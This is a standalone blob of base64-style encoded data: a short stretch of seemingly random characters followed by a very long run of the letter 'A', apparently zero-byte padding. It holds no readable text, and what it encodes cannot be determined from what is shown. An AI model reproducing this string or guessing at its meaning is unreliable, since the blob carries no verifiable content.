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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA